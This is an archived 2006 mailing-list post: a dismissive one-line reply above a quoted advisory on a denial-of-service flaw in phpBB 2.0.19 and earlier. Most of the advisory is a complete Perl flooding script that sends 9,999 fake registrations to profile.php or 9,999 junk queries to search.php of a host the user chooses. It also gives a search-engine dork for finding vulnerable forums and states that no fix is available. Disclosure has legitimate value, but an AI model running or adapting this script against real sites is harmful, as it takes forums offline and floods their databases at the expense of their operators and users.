Date: Wed Jan 25 14:57:50 2006
From: Ed at unityitservices.co.uk (Edward Pearson)
Subject: HYSA-2006-001 phpBB 2.0.19 search.php
	andprofile.php DOS Vulnerability

The less said about DoS attacks the better. A tactic mostly employed by asexual teenagers who live in their parent's basement and call themselves "h4x0rz".
  
________________________________

From: full-disclosure-bounces@...ts.grok.org.uk [mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of h4cky0u
Sent: 25 January 2006 14:44
To: full-disclosure@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: [Full-disclosure] HYSA-2006-001 phpBB 2.0.19 search.php andprofile.php DOS Vulnerability


------------------------------------------------------
      HYSA-2006-001 h4cky0u.org Advisory 010
------------------------------------------------------
Date - Wed Jan 25 2006



TITLE:
======

phpBB 2.0.19 search.php and profile.php DOS Vulnerability


SEVERITY:
=========

High


SOFTWARE:
=========

phpBB 2.0.19 and prior


INFO:

=====

phpBB is a high powered, fully scalable, and highly customizable 
Open Source bulletin board package. phpBB has a user-friendly 
interface, simple and straightforward administration panel, and 
helpful FAQ. Based on the powerful PHP server language and your 

choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, 
phpBB is the ideal free community solution for all web sites.

Support Website : http://www.phpbb.com



BUG DESCRIPTION:
================

The bug was originally found by HaCkZaTaN of NeoSecurityteam. The original exploit code can be found at -

http://h4cky0u.org/viewtopic.php?t=637


This one affected only versions uptill phpBB 2.0.15. The exploit code has been recoded which affects the latest version too. The bug resides in the following two scripts-

profile.php << By registering as many users as you can. 

search.php  << By searching in a way that the db cannot understand.


Proof Of Concept Code:
======================

#!/usr/bin/perl 
####################################### 
##   Recoded by: mix2mix and Elioni of 
http://ahg-khf.org
##   And h4cky0u Security Forums (http://h4cky0u.org) 
##   Name: phpBBDoSReloaded
##   Original Author: HaCkZaTaN of Neo Security Team 

##   Tested on phpBB 2.0.19 and earlier versions
##   Ported to perl by g30rg3_x
##   Date: 25/01/06
####################################### 
use IO::Socket; 

## Initialized X 
$x = 0; 

print q(

  phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
  Recoded by Albanian Hackers Group &
  h4cky0u Security Forums	

); 
print q(Host |without-> http://www.| ); 

$host = <STDIN>; 
chop ($host); 

print q(Path |example-> /phpBB2/ or /| ); 
$pth = <STDIN>; 
chop ($pth); 

print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| ); 

$type = <STDIN>; 
chop ($type); 

## Tipi p?r regjistrim 
if($type == 1){ 

## User Loop for 9999 loops (enough for Flood xDDDD) 
while($x != 9999) 
{ 

## Antari q? regjistrohet automatikisht? "X" 

$uname = "username=AHG__" . "$x"; 

## Emaili q? regjistrohet ne baz?n "X" 
$umail = "&email=AHG__" . "$x"; 

$postit = "$uname"."$umail"."%40ahg-
crew.org&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit
"; 

$lrg = length $postit; 

my $sock = new IO::Socket::INET ( 
                                 PeerAddr => "$host", 
                                 PeerPort => "80", 

                                 Proto => "tcp", 
                                ); 
die "\nNuk mundem te lidhemi me hostin sepse ?sht dosirat ose nuk egziston: $!\n" unless $sock; 

## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums 

print $sock "POST $pth"."profile.php HTTP/1.1\n"; 
print $sock "Host: $host\n"; 
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n"; 

print $sock "Referer: $host\n"; 
print $sock "Accept-Language: en-us\n"; 
print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
print $sock "Accept-Encoding: gzip, deflate\n"; 

print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; 
print $sock "Connection: Keep-Alive\n"; 
print $sock "Cache-Control: no-cache\n"; 

print $sock "Content-Length: $lrg\n\n"; 
print $sock "$postit\n"; 
close($sock); 

## Print a "+" for every loop 
syswrite STDOUT, "+"; 

$x++; 
} 


## Tipi 2-sh? p?r K?rkim(Flood) 
} 
elsif ($type == 2){ 

while($x != 9999) 
{ 
## Final Search String to Send 
$postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200"; 


## Posit Length 
$lrg = length $postit; 

## Connect Socket with Variables Provided By User 
my $sock = new IO::Socket::INET ( 
                                 PeerAddr => "$host", 

                                 PeerPort => "80", 
                                 Proto => "tcp", 
                                ); 
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock; 


## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums 
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n"; 
print $sock "Host: $host\n"; 

print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; 
print $sock "Referer: $host\n"; 
print $sock "Accept-Language: en-us\n"; 

print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
print $sock "Accept-Encoding: gzip, deflate\n"; 
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8
) Gecko/20050511 Firefox/1.0.4\n"; 
print $sock "Connection: Keep-Alive\n"; 
print $sock "Cache-Control: no-cache\n"; 
print $sock "Content-Length: $lrg\n\n"; 
print $sock "$postit\n"; 

close($sock); 

## Print a "+" for every loop 
syswrite STDOUT, "+"; 

## Increment X in One for every Loop 
$x++; 
} 
}else{ 
## STF??? Qfar? keni Shtypur 
   die "Mund?sia nuk Lejohet +_-???\n"; 

}


FIX:
====

No fix available as of date.


GOOGLEDORK:
===========

"Powered by phpBB" 


CREDITS:
========

- This vulnerability was discovered and researched by HaCkZaTaN of NeoSecurityteam.



- Exploit recoded by mix2mix of [AHG-KHF] Security Team for the latest release of the script -

Web : http://ahg-khf.org

mail : webmaster at ahg-khf dot org



- Co Researcher -

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail dot com

web : http://www.h4cky0u.org


ORIGINAL ADVISORY:
==================


http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt

-- 
http://www.h4cky0u.org
(In)Security at its best... 
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